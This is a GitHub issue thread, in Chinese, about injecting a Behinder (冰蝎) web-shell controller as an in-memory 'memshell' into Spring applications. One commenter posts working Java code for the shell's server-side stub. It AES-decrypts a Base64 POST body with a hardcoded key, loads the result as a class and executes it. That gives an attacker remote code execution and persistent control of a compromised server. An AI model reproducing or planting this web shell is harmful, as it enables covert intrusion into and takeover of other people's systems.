Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

spring memshell 中写入冰蝎controller时,request.getReader().readLine()始终是null #1

Open
Libraggbond opened this issue Apr 18, 2021 · 1 comment

Comments

@Libraggbond
Copy link

Libraggbond commented Apr 18, 2021

你好,我在测试spring memshell 中写入冰蝎controller时,遇到request.getReader().readLine()始终是null的问题,请问您是怎么解决这个问题的。
已经解决了。

@KpLi0rn
Copy link

KpLi0rn commented Aug 16, 2021

我测试的时候也遇到了这个问题,然后修改之后成功连上了,下面是我的代码希望能帮助到您,同时感谢作者发布这么好的项目!

                if (request.getMethod().equals("POST")){
                    String k = "e45e329feb5d925b";
                    HttpSession session = ((HttpServletRequest)request).getSession();
                    Map obj = new HashMap();
                    obj.put("request", request);
                    obj.put("response", response);
                    obj.put("session", session);
                    session.putValue("u", k);
                    Cipher c = Cipher.getInstance("AES");
                    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
                            .newInstance().equals(obj);;
                }

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants